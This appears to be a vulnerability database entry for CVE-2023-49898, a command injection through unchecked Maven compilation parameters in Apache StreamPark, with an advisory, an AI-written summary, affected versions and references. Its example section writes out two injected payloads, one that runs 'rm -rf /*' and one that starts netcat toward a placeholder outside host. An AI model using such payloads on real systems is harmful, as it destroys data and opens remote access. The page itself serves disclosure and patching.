Apache StreamPark (incubating): Authenticated system users could trigger remote command execution
Description
In streampark, there is a project module that integrates Maven's compilation capability. However, there is no check on the compilation parameters of Maven. allowing attackers to insert commands for remote command execution, The prerequisite for a successful attack is that the user needs to log in to the streampark system and have system-level permissions. Generally, only users of that system have the authorization to log in, and users would not manually input a dangerous operation command. Therefore, the risk level of this vulnerability is very low.
Mitigation:
all users should upgrade to 2.1.2
Example:
##You can customize the splicing method according to the compilation situation of the project, mvn compilation results use &&, compilation failure use "||" or "&&":
/usr/share/java/maven-3/conf/settings.xml || rm -rf /*
/usr/share/java/maven-3/conf/settings.xml && nohup nc x.x.x.x 8899 &
AI Insight
LLM-synthesized narrative grounded in this CVE's description and references.
Apache StreamPark Maven compilation parameter injection allows authenticated users with system-level permissions to execute arbitrary commands, but risk is low due to required privileges.
CVE-2023-49898 is a command injection vulnerability in Apache StreamPark (formerly StreamX) where the project module fails to sanitize Maven compilation parameters, allowing injection of arbitrary commands [1].
An attacker must be logged in and have system-level permissions to access the compilation feature. The injection happens through crafted Maven parameters like && or || to execute commands on the server [1]. However, typical users would not manually input malicious commands, reducing exploit likelihood.
Successful exploitation allows remote command execution with the privileges of the StreamPark service. Since system-level permissions are required, the risk is considered very low [1].
Users should upgrade to version 2.1.2, which contains the fix [1].
AI Insight generated on May 20, 2026. Synthesized from this CVE's description and the cited reference URLs; citations are validated against the source bundle.
Affected packages
Versions sourced from the GitHub Security Advisory.
| Package | Affected versions | Patched versions |
|---|---|---|
org.apache.streampark:streamparkMaven | >= 2.0.0, < 2.1.2 | 2.1.2 |
Affected products
2- Apache Software Foundation/Apache StreamPark (incubating)v5Range: 2.0.0
Patches
0No patches discovered yet.
Vulnerability mechanics
AI mechanics synthesis has not run for this CVE yet.
References
3- github.com/advisories/GHSA-qg44-xqwj-wc28ghsaADVISORY
- lists.apache.org/thread/qj99c03r4td35f8gbxq084b8qmv2fyr3ghsavendor-advisoryWEB
- nvd.nist.gov/vuln/detail/CVE-2023-49898ghsaADVISORY
News mentions
0No linked articles in our index yet.